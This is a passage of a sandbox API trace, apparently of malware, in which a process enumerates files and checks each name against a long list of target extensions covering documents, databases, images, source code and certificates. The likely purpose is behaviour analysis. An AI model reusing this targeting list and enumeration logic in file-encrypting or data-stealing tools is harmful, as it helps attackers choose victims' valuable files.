nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.537] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0049.537] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0049.537] lstrlenW (lpString=".1cd") returned 4 [0049.537] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.538] lstrlenW (lpString=".3ds") returned 4 [0049.538] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0049.538] lstrlenW (lpString=".3fr") returned 4 [0049.538] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0049.538] lstrlenW (lpString=".3g2") returned 4 [0049.538] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0049.538] lstrlenW (lpString=".3gp") returned 4 [0049.538] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0049.538] lstrlenW (lpString=".7z") returned 3 [0049.538] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.538] lstrlenW (lpString=".accda") returned 6 [0049.538] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".accdb") returned 6 [0049.538] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".accdc") returned 6 [0049.538] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".accde") returned 6 [0049.538] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".accdt") returned 6 [0049.538] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".accdw") returned 6 [0049.538] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0049.538] lstrlenW (lpString=".adb") returned 4 [0049.539] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".adp") returned 4 [0049.539] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai") returned 3 [0049.539] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0049.539] lstrlenW (lpString=".ai3") returned 4 [0049.539] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai4") returned 4 [0049.539] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai5") returned 4 [0049.539] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai6") returned 4 [0049.539] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai7") returned 4 [0049.539] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".ai8") returned 4 [0049.539] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0049.539] lstrlenW (lpString=".anim") returned 5 [0049.539] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0049.540] lstrlenW (lpString=".arw") returned 4 [0049.540] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".as") returned 3 [0049.540] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0049.540] lstrlenW (lpString=".asa") returned 4 [0049.540] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".asc") returned 4 [0049.540] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".ascx") returned 5 [0049.540] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0049.540] lstrlenW (lpString=".asm") returned 4 [0049.540] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".asmx") returned 5 [0049.540] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0049.540] lstrlenW (lpString=".asp") returned 4 [0049.540] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".aspx") returned 5 [0049.540] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0049.540] lstrlenW (lpString=".asr") returned 4 [0049.540] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0049.540] lstrlenW (lpString=".asx") returned 4 [0049.540] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".avi") returned 4 [0049.541] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".avs") returned 4 [0049.541] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".backup") returned 7 [0049.541] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0049.541] lstrlenW (lpString=".bak") returned 4 [0049.541] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".bay") returned 4 [0049.541] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".bd") returned 3 [0049.541] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0049.541] lstrlenW (lpString=".bin") returned 4 [0049.541] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".bmp") returned 4 [0049.541] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".bz2") returned 4 [0049.541] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".c") returned 2 [0049.541] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0049.541] lstrlenW (lpString=".cdr") returned 4 [0049.541] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0049.541] lstrlenW (lpString=".cer") returned 4 [0049.541] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".cf") returned 3 [0049.542] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0049.542] lstrlenW (lpString=".cfc") returned 4 [0049.542] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".cfm") returned 4 [0049.542] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".cfml") returned 5 [0049.542] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0049.542] lstrlenW (lpString=".cfu") returned 4 [0049.542] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".chm") returned 4 [0049.542] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".cin") returned 4 [0049.542] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".class") returned 6 [0049.542] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0049.542] lstrlenW (lpString=".clx") returned 4 [0049.542] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".config") returned 7 [0049.542] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0049.542] lstrlenW (lpString=".cpp") returned 4 [0049.542] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0049.542] lstrlenW (lpString=".cr2") returned 4 [0049.542] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".crt") returned 4 [0049.543] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".crw") returned 4 [0049.543] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".cs") returned 3 [0049.543] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0049.543] lstrlenW (lpString=".css") returned 4 [0049.543] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".csv") returned 4 [0049.543] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".cub") returned 4 [0049.543] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".dae") returned 4 [0049.543] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".dat") returned 4 [0049.543] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".db") returned 3 [0049.543] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0049.543] lstrlenW (lpString=".dbf") returned 4 [0049.543] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.543] lstrlenW (lpString=".dbx") returned 4 [0049.543] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".dc3") returned 4 [0049.544] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".dcm") returned 4 [0049.544] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".dcr") returned 4 [0049.544] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".der") returned 4 [0049.544] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".dib") returned 4 [0049.544] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0049.544] lstrlenW (lpString=".dic") returned 4 [0049.941] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0049.941] lstrlenW (lpString=".dif") returned 4 [0049.941] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0049.941] lstrlenW (lpString=".divx") returned 5 [0049.941] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0049.941] lstrlenW (lpString=".djvu") returned 5 [0049.941] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0049.941] lstrlenW (lpString=".dng") returned 4 [0049.941] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0049.941] lstrlenW (lpString=".doc") returned 4 [0049.941] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.941] lstrlenW (lpString=".docm") returned 5 [0049.941] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0049.941] lstrlenW (lpString=".docx") returned 5 [0049.941] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.941] lstrlenW (lpString=".dot") returned 4 [0049.941] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0049.941] lstrlenW (lpString=".dotm") returned 5 [0049.942] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0049.942] lstrlenW (lpString=".dotx") returned 5 [0049.942] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0049.942] lstrlenW (lpString=".dpx") returned 4 [0049.942] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dqy") returned 4 [0049.942] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dsn") returned 4 [0049.942] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dt") returned 3 [0049.942] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0049.942] lstrlenW (lpString=".dtd") returned 4 [0049.942] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dwg") returned 4 [0049.942] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dwt") returned 4 [0049.942] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".dx") returned 3 [0049.942] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0049.942] lstrlenW (lpString=".dxf") returned 4 [0049.942] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0049.942] lstrlenW (lpString=".edml") returned 5 [0049.942] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0049.943] lstrlenW (lpString=".efd") returned 4 [0049.943] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".elf") returned 4 [0049.943] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".emf") returned 4 [0049.943] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".emz") returned 4 [0049.943] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".epf") returned 4 [0049.943] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".eps") returned 4 [0049.943] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".epsf") returned 5 [0049.943] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0049.943] lstrlenW (lpString=".epsp") returned 5 [0049.943] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0049.943] lstrlenW (lpString=".erf") returned 4 [0049.943] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".exr") returned 4 [0049.943] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0049.943] lstrlenW (lpString=".f4v") returned 4 [0049.944] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".fido") returned 5 [0049.944] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0049.944] lstrlenW (lpString=".flm") returned 4 [0049.944] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".flv") returned 4 [0049.944] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".frm") returned 4 [0049.944] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".fxg") returned 4 [0049.944] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".geo") returned 4 [0049.944] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".gif") returned 4 [0049.944] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".grs") returned 4 [0049.944] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0049.944] lstrlenW (lpString=".gz") returned 3 [0049.944] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0049.944] lstrlenW (lpString=".h") returned 2 [0049.944] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0049.944] lstrlenW (lpString=".hdr") returned 4 [0049.944] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".hpp") returned 4 [0049.945] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".hta") returned 4 [0049.945] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".htc") returned 4 [0049.945] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".htm") returned 4 [0049.945] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".html") returned 5 [0049.945] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0049.945] lstrlenW (lpString=".icb") returned 4 [0049.945] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".ics") returned 4 [0049.945] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".iff") returned 4 [0049.945] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".inc") returned 4 [0049.945] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".indd") returned 5 [0049.945] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0049.945] lstrlenW (lpString=".ini") returned 4 [0049.945] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0049.945] lstrlenW (lpString=".iqy") returned 4 [0049.946] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".j2c") returned 4 [0049.946] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".j2k") returned 4 [0049.946] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".java") returned 5 [0049.946] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0049.946] lstrlenW (lpString=".jp2") returned 4 [0049.946] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".jpc") returned 4 [0049.946] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".jpe") returned 4 [0049.946] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".jpeg") returned 5 [0049.946] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0049.946] lstrlenW (lpString=".jpf") returned 4 [0049.946] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".jpg") returned 4 [0049.946] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".jpx") returned 4 [0049.946] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0049.946] lstrlenW (lpString=".js") returned 3 [0049.947] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0049.947] lstrlenW (lpString=".jsf") returned 4 [0049.947] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".json") returned 5 [0049.947] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0049.947] lstrlenW (lpString=".jsp") returned 4 [0049.947] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".kdc") returned 4 [0049.947] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".kmz") returned 4 [0049.947] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".kwm") returned 4 [0049.947] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".lasso") returned 6 [0049.947] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0049.947] lstrlenW (lpString=".lbi") returned 4 [0049.947] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".lgf") returned 4 [0049.947] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".lgp") returned 4 [0049.947] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0049.947] lstrlenW (lpString=".log") returned 4 [0049.948] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".m1v") returned 4 [0049.948] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".m4a") returned 4 [0049.948] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".m4v") returned 4 [0049.948] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".max") returned 4 [0049.948] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".md") returned 3 [0049.948] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0049.948] lstrlenW (lpString=".mda") returned 4 [0049.948] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".mdb") returned 4 [0049.948] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".mde") returned 4 [0049.948] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".mdf") returned 4 [0049.948] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".mdw") returned 4 [0049.948] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0049.948] lstrlenW (lpString=".mef") returned 4 [0049.949] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mft") returned 4 [0049.949] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mfw") returned 4 [0049.949] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mht") returned 4 [0049.949] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mhtml") returned 6 [0049.949] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0049.949] lstrlenW (lpString=".mka") returned 4 [0049.949] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mkidx") returned 6 [0049.949] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0049.949] lstrlenW (lpString=".mkv") returned 4 [0049.949] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mos") returned 4 [0049.949] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mov") returned 4 [0049.949] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mp3") returned 4 [0049.949] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0049.949] lstrlenW (lpString=".mp4") returned 4 [0049.950] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".mpeg") returned 5 [0049.950] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0049.950] lstrlenW (lpString=".mpg") returned 4 [0049.950] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".mpv") returned 4 [0049.950] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".mrw") returned 4 [0049.950] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".msg") returned 4 [0049.950] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".mxl") returned 4 [0049.950] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".myd") returned 4 [0049.950] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".myi") returned 4 [0049.950] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".nef") returned 4 [0049.950] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".nrw") returned 4 [0049.950] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0049.950] lstrlenW (lpString=".obj") returned 4 [0049.950] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".odb") returned 4 [0049.951] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".odc") returned 4 [0049.951] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".odm") returned 4 [0049.951] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".odp") returned 4 [0049.951] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".ods") returned 4 [0049.951] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".oft") returned 4 [0049.951] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".one") returned 4 [0049.951] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".onepkg") returned 7 [0049.951] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0049.951] lstrlenW (lpString=".onetoc2") returned 8 [0049.951] lstrcmpiW (lpString1=".onetoc2", lpString2="eMUI.XML") returned -1 [0049.951] lstrlenW (lpString=".opt") returned 4 [0049.951] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0049.951] lstrlenW (lpString=".oqy") returned 4 [0049.951] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".orf") returned 4 [0049.952] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".p12") returned 4 [0049.952] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".p7b") returned 4 [0049.952] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".p7c") returned 4 [0049.952] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pam") returned 4 [0049.952] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pbm") returned 4 [0049.952] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pct") returned 4 [0049.952] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pcx") returned 4 [0049.952] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pdd") returned 4 [0049.952] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pdf") returned 4 [0049.952] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.952] lstrlenW (lpString=".pdp") returned 4 [0049.953] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pef") returned 4 [0049.953] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pem") returned 4 [0049.953] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pff") returned 4 [0049.953] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pfm") returned 4 [0049.953] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pfx") returned 4 [0049.953] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".pgm") returned 4 [0049.953] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".php") returned 4 [0049.953] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0049.953] lstrlenW (lpString=".php3") returned 5 [0049.953] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0049.953] lstrlenW (lpString=".php4") returned 5 [0049.953] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0049.953] lstrlenW (lpString=".php5") returned 5 [0049.953] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0049.953] lstrlenW (lpString=".phtml") returned 6 [0049.954] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0049.954] lstrlenW (lpString=".pict") returned 5 [0049.954] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0049.954] lstrlenW (lpString=".pl") returned 3 [0049.954] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0049.954] lstrlenW (lpString=".pls") returned 4 [0049.954] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0049.954] lstrlenW (lpString=".pm") returned 3 [0049.954] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0049.954] lstrlenW (lpString=".png") returned 4 [0049.954] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0049.954] lstrlenW (lpString=".pnm") returned 4 [0049.954] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0049.954] lstrlenW (lpString=".pot") returned 4 [0049.954] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0049.954] lstrlenW (lpString=".potm") returned 5 [0049.954] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0049.954] 